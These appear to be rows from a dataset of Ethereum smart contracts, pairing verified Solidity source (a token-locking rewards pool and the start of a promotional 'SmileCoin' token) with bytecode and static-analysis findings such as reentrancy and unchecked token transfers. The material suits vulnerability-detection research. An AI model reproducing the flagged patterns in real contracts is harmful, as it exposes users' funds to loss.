6101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf9929190612288565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611f3c565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d44816116ac565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db69061246f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e269061238f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d919061248f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f819061244f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff19061234f565b60405180910390fd5b6000811161103d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110349061242f565b60405180910390fd5b73713de9ad4e41f35235e11eece5d8da2f36fd083873ffffffffffffffffffffffffffffffffffffffff1663aa8c217c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561109757600080fd5b505afa1580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190611f65565b81600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561117b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611186576000611189565b60015b60ff1661119691906125fb565b11156111a157600080fd5b6111a96106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561121757506111e76106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112d057600860159054906101000a900460ff161580156112875750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129f5750600860169054906101000a900460ff165b156112cf576112b56112b030610510565b611344565b600047905060008111156112cd576112cc476116ac565b5b505b5b6112db838383611718565b505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f919061232d565b60405180910390fd5b50600083856113379190612655565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a2577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156113d05781602001602082028036833780820191505090505b509050308160008151811061140e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114b057600080fd5b505afa1580156114c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e89190611e4c565b81600181518110611522577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061158930600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115ed9594939291906124aa565b600060405180830381600087803b15801561160757600080fd5b505af115801561161b573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611685576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167c9061236f565b60405180910390fd5b600061168f611728565b90506116a4818461175390919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611714573d6000803e3d6000fd5b5050565b61172383838361179d565b505050565b6000806000611735611968565b9150915061174c818361175390919063ffffffff16565b9250505090565b600061179583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119bb565b905092915050565b6000806000806000806117af87611a1e565b95509550955095509550955061180d86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8390919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a285600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acd90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118ee81611b2b565b6118f88483611be8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611955919061248f565b60405180910390a3505050505050505050565b600080600060035490506000630bebc2009050611994630bebc20060035461175390919063ffffffff16565b8210156119ae57600354630bebc2009350935050506119b7565b81819350935050505b9091565b60008083118290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f9919061232d565b60405180910390fd5b5060008385611a1191906125ca565b9050809150509392505050565b6000806000806000806000806000611a388a600654611c22565b9250925092506000611a48611728565b90506000806000611a5b8e878787611cb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ac583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b6000808284611adc9190612574565b905083811015611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b18906123cf565b60405180910390fd5b8091505092915050565b6000611b35611728565b90506000611b4c8284611d3f90919063ffffffff16565b9050611ba081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acd90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bfd82600354611a8390919063ffffffff16565b600381905550611c1881600454611acd90919063ffffffff16565b6004819055505050565b600080600080611c4e6064611c408789611d3f90919063ffffffff16565b61175390919063ffffffff16565b90506000611c786064611c6a888a611d3f90919063ffffffff16565b61175390919063ffffffff16565b90506000611ca182611c93858b611a8390919063ffffffff16565b611a8390919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611ccf8589611d3f90919063ffffffff16565b90506000611ce68689611d3f90919063ffffffff16565b90506000611cfd8789611d3f90919063ffffffff16565b90506000611d2682611d188587611a8390919063ffffffff16565b611a8390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d525760009050611db4565b60008284611d6091906125fb565b9050828482611d6f91906125ca565b14611daf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da6906123ef565b60405180910390fd5b809150505b92915050565b600081359050611dc981612a36565b92915050565b600081519050611dde81612a36565b92915050565b600081519050611df381612a4d565b92915050565b600081359050611e0881612a64565b92915050565b600081519050611e1d81612a64565b92915050565b600060208284031215611e3557600080fd5b6000611e4384828501611dba565b91505092915050565b600060208284031215611e5e57600080fd5b6000611e6c84828501611dcf565b91505092915050565b60008060408385031215611e8857600080fd5b6000611e9685828601611dba565b9250506020611ea785828601611dba565b9150509250929050565b600080600060608486031215611ec657600080fd5b6000611ed486828701611dba565b9350506020611ee586828701611dba565b9250506040611ef686828701611df9565b9150509250925092565b60008060408385031215611f1357600080fd5b6000611f2185828601611dba565b9250506020611f3285828601611df9565b9150509250929050565b600060208284031215611f4e57600080fd5b6000611f5c84828501611de4565b91505092915050565b600060208284031215611f7757600080fd5b6000611f8584828501611e0e565b91505092915050565b600080600060608486031215611fa357600080fd5b6000611fb186828701611e0e565b9350506020611fc286828701611e0e565b9250506040611fd386828701611e0e565b9150509250925092565b6000611fe98383611ff5565b60208301905092915050565b611ffe81612689565b82525050565b61200d81612689565b82525050565b600061201e8261252f565b6120288185612552565b93506120338361251f565b8060005b8381101561206457815161204b8882611fdd565b975061205683612545565b925050600181019050612037565b5085935050505092915050565b61207a8161269b565b82525050565b612089816126de565b82525050565b600061209a8261253a565b6120a48185612563565b93506120b48185602086016126f0565b6120bd81612781565b840191505092915050565b60006120d5602383612563565b91506120e082612792565b604082019050919050565b60006120f8602a83612563565b9150612103826127e1565b604082019050919050565b600061211b602283612563565b915061212682612830565b604082019050919050565b600061213e601783612563565b91506121498261287f565b602082019050919050565b6000612161601b83612563565b915061216c826128a8565b602082019050919050565b6000612184602183612563565b915061218f826128d1565b604082019050919050565b60006121a7602083612563565b91506121b282612920565b602082019050919050565b60006121ca602983612563565b91506121d582612949565b604082019050919050565b60006121ed602583612563565b91506121f882612998565b604082019050919050565b6000612210602483612563565b915061221b826129e7565b604082019050919050565b61222f816126c7565b82525050565b61223e816126d1565b82525050565b60006020820190506122596000830184612004565b92915050565b60006040820190506122746000830185612004565b6122816020830184612004565b9392505050565b600060408201905061229d6000830185612004565b6122aa6020830184612226565b9392505050565b600060c0820190506122c66000830189612004565b6122d36020830188612226565b6122e06040830187612080565b6122ed6060830186612080565b6122fa6080830185612004565b61230760a0830184612226565b979650505050505050565b60006020820190506123276000830184612071565b92915050565b60006020820190508181036000830152612347818461208f565b905092915050565b60006020820190508181036000830152612368816120c8565b9050919050565b60006020820190508181036000830152612388816120eb565b9050919050565b600060208201905081810360008301526123a88161210e565b9050919050565b600060208201905081810360008301526123c881612131565b9050919050565b600060208201905081810360008301526123e881612154565b9050919050565b6000602082019050818103600083015261240881612177565b9050919050565b600060208201905081810360008301526124288161219a565b9050919050565b60006020820190508181036000830152612448816121bd565b9050919050565b60006020820190508181036000830152612468816121e0565b9050919050565b6000602082019050818103600083015261248881612203565b9050919050565b60006020820190506124a46000830184612226565b92915050565b600060a0820190506124bf6000830188612226565b6124cc6020830187612080565b81810360408301526124de8186612013565b90506124ed6060830185612004565b6124fa6080830184612226565b9695505050505050565b60006020820190506125196000830184612235565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061257f826126c7565b915061258a836126c7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125bf576125be612723565b5b828201905092915050565b60006125d5826126c7565b91506125e0836126c7565b9250826125f0576125ef612752565b5b828204905092915050565b6000612606826126c7565b9150612611836126c7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561264a57612649612723565b5b828202905092915050565b6000612660826126c7565b915061266b836126c7565b92508282101561267e5761267d612723565b5b828203905092915050565b6000612694826126a7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126e9826126c7565b9050919050565b60005b8381101561270e5780820151818401526020810190506126f3565b8381111561271d576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612a3f81612689565b8114612a4a57600080fd5b50565b612a568161269b565b8114612a6157600080fd5b50565b612a6d816126c7565b8114612a7857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209773a2cc16ab1aeb73de4d85957b70f5a9da4a08b882898cfb57fda30e3803ce64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,639 |
0x45dbfa00955178a886bd1289835152456a2bc86c | /**
*Submitted for verification at Etherscan.io on 2022-01-19
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// This contract handles locking PKN to get rewards
contract LockedPool24 is Ownable {
uint256 public constant TIER_MIN = 98000 * 10**18;
uint256 public constant TIER_MID = TIER_MIN * 10;
uint256 public constant TIER_MAX = TIER_MIN * 100;
uint256 public constant REWARD_MIN = 65;
uint256 public constant REWARD_MID = 80;
uint256 public constant REWARD_MAX = 90;
uint256 public constant TOTAL_DURATION = 730 days;
uint256 public constant ENTRY_LIMIT = 1671624000; // Wednesday, December 21, 2022 12:00:00 PM GMT
uint256 public totalOwed;
uint256 public totalDeposit;
mapping(address => uint256) private userOwed;
mapping(address => uint256) private userDeposit;
mapping(address => uint256) private userFirstTS;
IERC20 public immutable PKN;
constructor(IERC20 _PKN) {
PKN = _PKN;
}
function splitTiers(uint256 amount) public pure returns(uint256 tA, uint256 tB, uint256 tC) {
if(amount > TIER_MAX) {
tC = amount - TIER_MAX;
}
if(amount > TIER_MID) {
tB = amount - tC - TIER_MID;
}
tA = amount - tC - tB;
}
function depositOf(address account) public view returns (uint256) {
return userDeposit[account];
}
function totalRewardOf(address account) public view returns (uint256) {
return userOwed[account];
}
function unlockTimeOf(address account) public view returns (uint256) {
require(userFirstTS[account] != 0, "No deposit yet");
return userFirstTS[account] + TOTAL_DURATION;
}
function pendingRewards() external view returns(uint256 pending) {
uint256 currentBalance = PKN.balanceOf(address(this));
if(totalOwed > currentBalance) {
pending = totalOwed - currentBalance;
}
}
function enter(uint256 _amount) external {
require(block.timestamp < ENTRY_LIMIT, "Locking period ended");
uint256 amount = _receivePKN(msg.sender, _amount);
uint256 uDeposit = userDeposit[msg.sender];
uint256 uTotal = uDeposit + amount;
require(uTotal >= TIER_MIN, "Amount less than minimum deposit");
(uint256 depA, uint256 depB, uint256 depC) = splitTiers(uDeposit);
(uint256 totA, uint256 totB, uint256 totC) = splitTiers(uTotal);
uint256 amtA = totA - depA;
uint256 amtB = totB - depB;
uint256 amtC = totC - depC;
if(uDeposit == 0) {
// first deposit for this user
userFirstTS[msg.sender] = block.timestamp;
}
uint256 remainingTime = unlockTimeOf(msg.sender) - block.timestamp;
uint256 owed;
if(amtA > 0) {
owed += amtA + amtA * REWARD_MIN * remainingTime / (100 * TOTAL_DURATION);
}
if(amtB > 0) {
owed += amtB + amtB * REWARD_MID * remainingTime / (100 * TOTAL_DURATION);
}
if(amtC > 0) {
owed += amtC + amtC * REWARD_MAX * remainingTime / (100 * TOTAL_DURATION);
}
userDeposit[msg.sender] += amount;
totalDeposit += amount;
userOwed[msg.sender] += owed;
totalOwed += owed;
}
function leave() external {
require(block.timestamp >= unlockTimeOf(msg.sender), "Not unlocked yet");
uint256 amount = userOwed[msg.sender];
require(amount > 0, "No pending withdrawal");
userOwed[msg.sender] = 0;
totalOwed -= amount;
PKN.transfer(msg.sender, amount);
}
// only to be called in an emergency after a wait period of 2 * TOTAL_DURATION
function emergencyRescue() external onlyOwner() {
require(block.timestamp >= ENTRY_LIMIT + 2 * TOTAL_DURATION, "Not needed yet");
PKN.transfer(msg.sender, PKN.balanceOf(address(this)));
}
function _receivePKN(address from, uint256 amount) internal returns (uint256) {
uint256 balanceBefore = PKN.balanceOf(address(this));
PKN.transferFrom(from, address(this), amount);
return PKN.balanceOf(address(this)) - balanceBefore;
}
} | 0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063adeae8c9116100b8578063e7fa9f7d1161007c578063e7fa9f7d14610285578063eded3fda1461028e578063f2f3d09214610296578063f2fde38b146102a1578063f6153ccd146102b4578063fc6d2cf7146102bd57600080fd5b8063adeae8c914610251578063bcee77e814610259578063d66d9e1914610261578063dd429cb114610269578063e47ea99b1461027a57600080fd5b8063715018a61161010a578063715018a6146101e757806383625f9a146101ef5780638da5cb5b146101f757806394d7a821146102085780639c8957b114610236578063a59f3e0c1461023e57600080fd5b806323e3fbd514610147578063469a694714610183578063597fb91514610196578063688c3e401461019e5780636baa9575146101dd575b600080fd5b610170610155366004610dfe565b6001600160a01b031660009081526004602052604090205490565b6040519081526020015b60405180910390f35b610170610191366004610dfe565b6102e6565b610170605081565b6101c57f000000000000000000000000df09a216fac5adc3e640db418c0b95607650950381565b6040516001600160a01b03909116815260200161017a565b6101e561036f565b005b6101e5610518565b610170605a81565b6000546001600160a01b03166101c5565b61021b610216366004610e50565b61054e565b6040805193845260208401929092529082015260600161017a565b6101706105f5565b6101e561024c366004610e50565b61060d565b610170604181565b6101706108e6565b6101e56108fb565b6101706914c0973485bf3940000081565b6101706363a2f54081565b61017060015481565b610170610a68565b6101706303c2670081565b6101e56102af366004610dfe565b610b25565b61017060025481565b6101706102cb366004610dfe565b6001600160a01b031660009081526003602052604090205490565b6001600160a01b0381166000908152600560205260408120546103415760405162461bcd60e51b815260206004820152600e60248201526d139bc819195c1bdcda5d081e595d60921b60448201526064015b60405180910390fd5b6001600160a01b038216600090815260056020526040902054610369906303c2670090610eb7565b92915050565b6000546001600160a01b031633146103995760405162461bcd60e51b815260040161033890610e82565b6103a86303c267006002610ef1565b6103b6906363a2f540610eb7565b4210156103f65760405162461bcd60e51b815260206004820152600e60248201526d139bdd081b9959591959081e595d60921b6044820152606401610338565b6040516370a0823160e01b81523060048201527f000000000000000000000000df09a216fac5adc3e640db418c0b9560765095036001600160a01b03169063a9059cbb90339083906370a082319060240160206040518083038186803b15801561045f57600080fd5b505afa158015610473573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104979190610e69565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156104dd57600080fd5b505af11580156104f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105159190610e2e565b50565b6000546001600160a01b031633146105425760405162461bcd60e51b815260040161033890610e82565b61054c6000610bb9565b565b600080806105676914c0973485bf394000006064610ef1565b841115610590576105836914c0973485bf394000006064610ef1565b61058d9085610f10565b90505b6105a56914c0973485bf39400000600a610ef1565b8411156105d8576105c16914c0973485bf39400000600a610ef1565b6105cb8286610f10565b6105d59190610f10565b91505b816105e38286610f10565b6105ed9190610f10565b949193509150565b61060a6914c0973485bf39400000600a610ef1565b81565b6363a2f54042106106575760405162461bcd60e51b8152602060048201526014602482015273131bd8dada5b99c81c195c9a5bd908195b99195960621b6044820152606401610338565b60006106633383610c09565b336000908152600460205260408120549192506106808383610eb7565b90506914c0973485bf394000008110156106dc5760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206c657373207468616e206d696e696d756d206465706f7369746044820152606401610338565b60008060006106ea8561054e565b92509250925060008060006106fe8761054e565b9194509250905060006107118785610f10565b9050600061071f8785610f10565b9050600061072d8785610f10565b90508a610747573360009081526005602052604090204290555b600042610753336102e6565b61075d9190610f10565b9050600084156107ad576107766303c267006064610ef1565b82610782604188610ef1565b61078c9190610ef1565b6107969190610ecf565b6107a09086610eb7565b6107aa9082610eb7565b90505b83156107f9576107c26303c267006064610ef1565b826107ce605087610ef1565b6107d89190610ef1565b6107e29190610ecf565b6107ec9085610eb7565b6107f69082610eb7565b90505b82156108455761080e6303c267006064610ef1565b8261081a605a86610ef1565b6108249190610ef1565b61082e9190610ecf565b6108389084610eb7565b6108429082610eb7565b90505b8d60046000336001600160a01b03166001600160a01b03168152602001908152602001600020600082825461087a9190610eb7565b925050819055508d600260008282546108939190610eb7565b909155505033600090815260036020526040812080548392906108b7908490610eb7565b9250508190555080600160008282546108d09190610eb7565b9091555050505050505050505050505050505050565b61060a6914c0973485bf394000006064610ef1565b610904336102e6565b4210156109465760405162461bcd60e51b815260206004820152601060248201526f139bdd081d5b9b1bd8dad959081e595d60821b6044820152606401610338565b336000908152600360205260409020548061099b5760405162461bcd60e51b8152602060048201526015602482015274139bc81c195b991a5b99c81dda5d1a191c985dd85b605a1b6044820152606401610338565b336000908152600360205260408120819055600180548392906109bf908490610f10565b909155505060405163a9059cbb60e01b8152336004820152602481018290527f000000000000000000000000df09a216fac5adc3e640db418c0b9560765095036001600160a01b03169063a9059cbb90604401602060405180830381600087803b158015610a2c57600080fd5b505af1158015610a40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a649190610e2e565b5050565b6040516370a0823160e01b815230600482015260009081906001600160a01b037f000000000000000000000000df09a216fac5adc3e640db418c0b95607650950316906370a082319060240160206040518083038186803b158015610acc57600080fd5b505afa158015610ae0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b049190610e69565b9050806001541115610b215780600154610b1e9190610f10565b91505b5090565b6000546001600160a01b03163314610b4f5760405162461bcd60e51b815260040161033890610e82565b6001600160a01b038116610bb45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610338565b610515815b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040516370a0823160e01b815230600482015260009081906001600160a01b037f000000000000000000000000df09a216fac5adc3e640db418c0b95607650950316906370a082319060240160206040518083038186803b158015610c6d57600080fd5b505afa158015610c81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca59190610e69565b6040516323b872dd60e01b81526001600160a01b038681166004830152306024830152604482018690529192507f000000000000000000000000df09a216fac5adc3e640db418c0b956076509503909116906323b872dd90606401602060405180830381600087803b158015610d1a57600080fd5b505af1158015610d2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d529190610e2e565b506040516370a0823160e01b815230600482015281907f000000000000000000000000df09a216fac5adc3e640db418c0b9560765095036001600160a01b0316906370a082319060240160206040518083038186803b158015610db457600080fd5b505afa158015610dc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dec9190610e69565b610df69190610f10565b949350505050565b600060208284031215610e1057600080fd5b81356001600160a01b0381168114610e2757600080fd5b9392505050565b600060208284031215610e4057600080fd5b81518015158114610e2757600080fd5b600060208284031215610e6257600080fd5b5035919050565b600060208284031215610e7b57600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610eca57610eca610f27565b500190565b600082610eec57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610f0b57610f0b610f27565b500290565b600082821015610f2257610f22610f27565b500390565b634e487b7160e01b600052601160045260246000fdfea26469706673582212201e2378fb326595bfb9cd6e4f64531f3c87be3068d35d44f135ffb970a3ccd3d064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 9,640 |
0x0f25f3c5604391d3ced84bae5cb5dc49c82393b2 | /**
*Submitted for verification at Etherscan.io on 2022-04-30
*/
/**
😄 😄 😄 😄 😄 😄
😄 😄 😄 😄 😄 😄
😄 😄 😄 😄 😄 😄
😄 😄 😄 😄 😄 😄
😄 😄 😄 😄 😄 😄
😄 😄 😄 😄 😄 😄
https://t.me/SmileCoinETH
https://TheSmileToken.com
A charity-oriented token that is helping to fight mental illness across the world. Meet smilecoin.
*****************
****** ******
**** ****
**** ***
*** ***
** *** *** **
** ******* ******* ***
** ******* ******* **
** ******* ******* **
** *** *** **
** **
** * * **
** ** ** **
** **** **** **
** ** ** **
** *** *** **
*** **** **** ***
** ****** ****** **
*** *************** ***
**** ****
**** ****
****** ******
*****************
Tokenomics :
30% Token Burn
9% Buy / Sell Tax
1% Max Buy - First 2 minutes
2% Max Wallet - First 2 minutes
Renounced & Locked
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
